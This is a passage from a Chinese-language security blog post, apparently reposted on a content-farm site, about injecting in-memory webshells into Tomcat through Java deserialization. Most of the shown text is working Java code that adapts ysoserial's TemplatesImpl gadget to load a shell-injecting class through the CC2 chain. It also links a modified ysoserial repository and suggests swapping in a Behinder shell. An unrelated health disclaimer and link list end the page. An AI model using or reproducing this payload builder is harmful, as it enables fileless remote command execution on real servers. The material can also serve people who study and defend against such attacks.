public static Object createTemplatesImpl_shell ( final String command ) throws Exception {if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {return createTemplatesImpl(command,Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {final T templates = tplClass.newInstance();// use template gadget classClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));final CtClass clazz = pool.get(StubTransletPayload.class.getName());final byte[]classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);//final byte[] classBytes = clazz.toBytecode();// inject class bytes into instanceReflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}這里拿cc2鏈來(lái)測(cè)試,復(fù)制cc2鏈代碼 。將getObject方法修改
final Object templates = Gadgets.createTemplatesImpl_shell(command);github:https://github.com/nice0e3/ysoserial-master
0x05 Reference#基于全局儲(chǔ)存的新思路 | Tomcat的一種通用回顯方法研究
Tomcat中一種半通用回顯方法
基于tomcat的內(nèi)存 Webshell 無(wú)文件攻擊技術(shù)
Java Web代碼執(zhí)行漏洞回顯總結(jié)
Shiro 550 漏洞學(xué)習(xí) (二):內(nèi)存馬注入及回顯
0x06 結(jié)尾#說(shuō)到底,其實(shí)中間件回顯就是獲取Request 和Response對(duì)象,拿到以后借助拿到的Request 和Response對(duì)象進(jìn)行回顯,而內(nèi)存馬則是使用獲取到的這兩對(duì)象從而獲取到Context進(jìn)行動(dòng)態(tài)添加Filter 。而文中并沒(méi)有去實(shí)現(xiàn)冰蝎等內(nèi)存shell,而只實(shí)現(xiàn)了一個(gè)cmd的shell 。同理,只需將惡意Fliter修改成冰蝎的shell即可 。
以上關(guān)于本文的內(nèi)容,僅作參考!溫馨提示:如遇健康、疾病相關(guān)的問(wèn)題,請(qǐng)您及時(shí)就醫(yī)或請(qǐng)專(zhuān)業(yè)人士給予相關(guān)指導(dǎo)!
「愛(ài)刨根生活網(wǎng)」www.malaban59.cn小編還為您精選了以下內(nèi)容,希望對(duì)您有所幫助:- linux系統(tǒng)安裝步驟 yum安裝命令
- 電腦怎么創(chuàng)建圖片密碼? 圖片密碼怎么設(shè)置
- 360發(fā)現(xiàn)全球汽車(chē)操作系統(tǒng)多個(gè)高危漏洞:獲寶馬和系統(tǒng)商雙重致謝
- 安卓手機(jī)裝win10系統(tǒng)操作方法 win10系統(tǒng)版本哪個(gè)好
- 自動(dòng)噴水滅火系統(tǒng)由哪些部分組成
- 電腦開(kāi)不開(kāi)機(jī)怎么重裝系統(tǒng)教程 win7無(wú)法關(guān)機(jī)怎么辦
- word表格自動(dòng)換頁(yè)的技巧 word不分頁(yè)怎么設(shè)置
- 2021國(guó)內(nèi)最好用免費(fèi)建站系統(tǒng) 免費(fèi)個(gè)人網(wǎng)站空間申請(qǐng)
- windows7系統(tǒng)黑屏解決方法 win7激活工具哪個(gè)好用
- h5平臺(tái)搭建步驟 h5建站系統(tǒng)源碼
